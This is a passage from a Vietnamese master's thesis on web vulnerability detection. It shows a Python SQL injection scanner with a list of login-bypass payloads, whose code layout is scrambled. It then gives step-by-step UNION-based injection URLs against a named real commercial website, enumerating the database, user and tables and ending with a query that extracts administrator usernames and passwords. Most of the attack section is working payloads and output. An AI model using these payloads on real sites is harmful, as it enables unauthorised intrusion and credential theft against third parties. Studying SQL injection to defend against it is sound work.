Kết quả thử nghiệm 3

Một phần của tài liệu (LUẬN văn THẠC sĩ) nghiên cứu phát hiện lỗ hổng bảo mật web và thử nghiệm (Trang 66 - 71)

Bước 1: Xây dựng chương trình thực hiện kiểm tra lỗi trang web bằng ngôn ngữ

Python sau:

import sys import urllib

print ("CHUONG TRINH KIEM TRA LOI SQL TRONG TRANG WEB") print (" Tac gia: Nguyen Thi Thai ")

print (" ")

nhap = raw_input("+ Nhap trang web can kiem tra loi SQL: ") tbloi = "Phat hien loi de bi ton thuong trong cu phap SQL"

ktra = ["'admin'or 1=1 or ''='", "'=1\' or \'1\' = \'1\'", "'or 1=1", "'1 'or' 1 '='

1", "'or 1=1#", "'0 'or' 0 '=' 0", "'admin'or 1=1 or ''='", "'admin' or 1=1", "'admin' or '1'='1", "'or 1=1/*", "'or 1=1--"]

loi = "yes"

for payload in ktra:

try:

payload = payload

moloi = urllib.urlopen(nhap + payload) docloi = moloi.read()

tamp = docloi.decode('utf-8') except:

print "[-] Thong bao! Phat hien loi ung dung trong trang web: " + payload

loi = "no"

#sys.exit() if tbloi in tamp:

if loi == "no":

print "[-] Phat hien loi khong thuc hien!"

else:

print "[+] website dinh loi SQL injection de bi ton thuong: " + payload else:

print "[-] website khong bi dinh loi SQL injection!"

Bước 2: Thực hiện chạy chương trình để kiểm tra kết quả, trong kết quả này tác giả

lấy trang website có tên miền là http://www.nhuaphucthinh.com.vn để làm minh chứng. Kết quả chương trình phát hiện website trên có lỗ hổng về cơ sở dữ liệu phần xử lý admin theo kết quả sau:

Hình 3.7: Kết quả phát hiện lỗi trang web có tổn thương SQL Injection

Bước 3: Thực hiện dùng các câu lệnh truy vấn SQL để thực hiện tấn công trang

website này trên địa chỉ của trình duyệt web bất kỳ:

(1). Thực hiện thêm order by đằng sau đuôi trang website để kiểm tra xem web có bao nhiêu bảng kết nối cơ sở dữ liệu SQL:

http://www.nhuaphucthinh.com.vn/product.php?id=20 order by 11-- -

(2). Sau khi biết dò chính xác số bảng trong cơ sở dữ liệu SQL ta có thể truy cập vào để biết được những bảng nào bị lỗi, từ đó thực hiện tấn công vào bảng bị lỗi:

http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11

Như vậy sau khi dùng câu lệnh trên, trang website sẽ xuất hiện lỗi ở bảng số 3 và bảng số 5 trong cơ sở dữ liệu SQL sau:

Hình 3.8: Trang giao diện xuất hiện lỗi bảng có kết nối CSDL

(3). Theo hình 3.8 trên ta có thể thấy lỗi ở bảng 3 và bảng 5 được xuất hiện. Ở đây tác giả chọn bảng số 3 để khai thác tiếp. Thực hiện thêm vào tiếp câu lệnh tại bảng số 3 là group_concat(database()) để lấy database dữ liệu

http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,group_concat(database()),4,5,6,7,8,9,10,11

Kết quả xuất hiện được Database có tên là nhuaphucth_inh của cơ sở dữ liệu

Hình 3.9: Trang giao diện xuất Database CSDL

Hoặc lấy user của cơ sở dữ liệu

http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,group_concat(user()),4,5,6,7,8,9,10,11

->nhuaphucth_inh@localhost

(4). Từ trong Database có, ta có thể dễ dàng hiển thị các bảng trong Database đó ra để lấy các bảng, thực hiện câu lệnh:

http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT

1,2,group_concat(table_name),4,5,6,7,8,9,10,11 from

Hình 3.10: Trang giao diện truy xuất các bảng trong Database CSDL

(5). Và cuối cùng thì các bảng trong cơ sở dữ liệu cũng đã được liệt kê, ta có thể khai thác trong bất kỳ bảng nào đã được liệt kê trên, ở đây tác giả chọn bảng Administration để lấy thông tin người quản trị như tên đăng và mật khẩu đăng nhập:

http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT 1,2,group_concat(AdmUsername,0x7c,AdmPassword),4,5,6,7,8,9,10,11 from administrator

Một phần của tài liệu (LUẬN văn THẠC sĩ) nghiên cứu phát hiện lỗ hổng bảo mật web và thử nghiệm (Trang 66 - 71)

Tải bản đầy đủ (PDF)

(82 trang)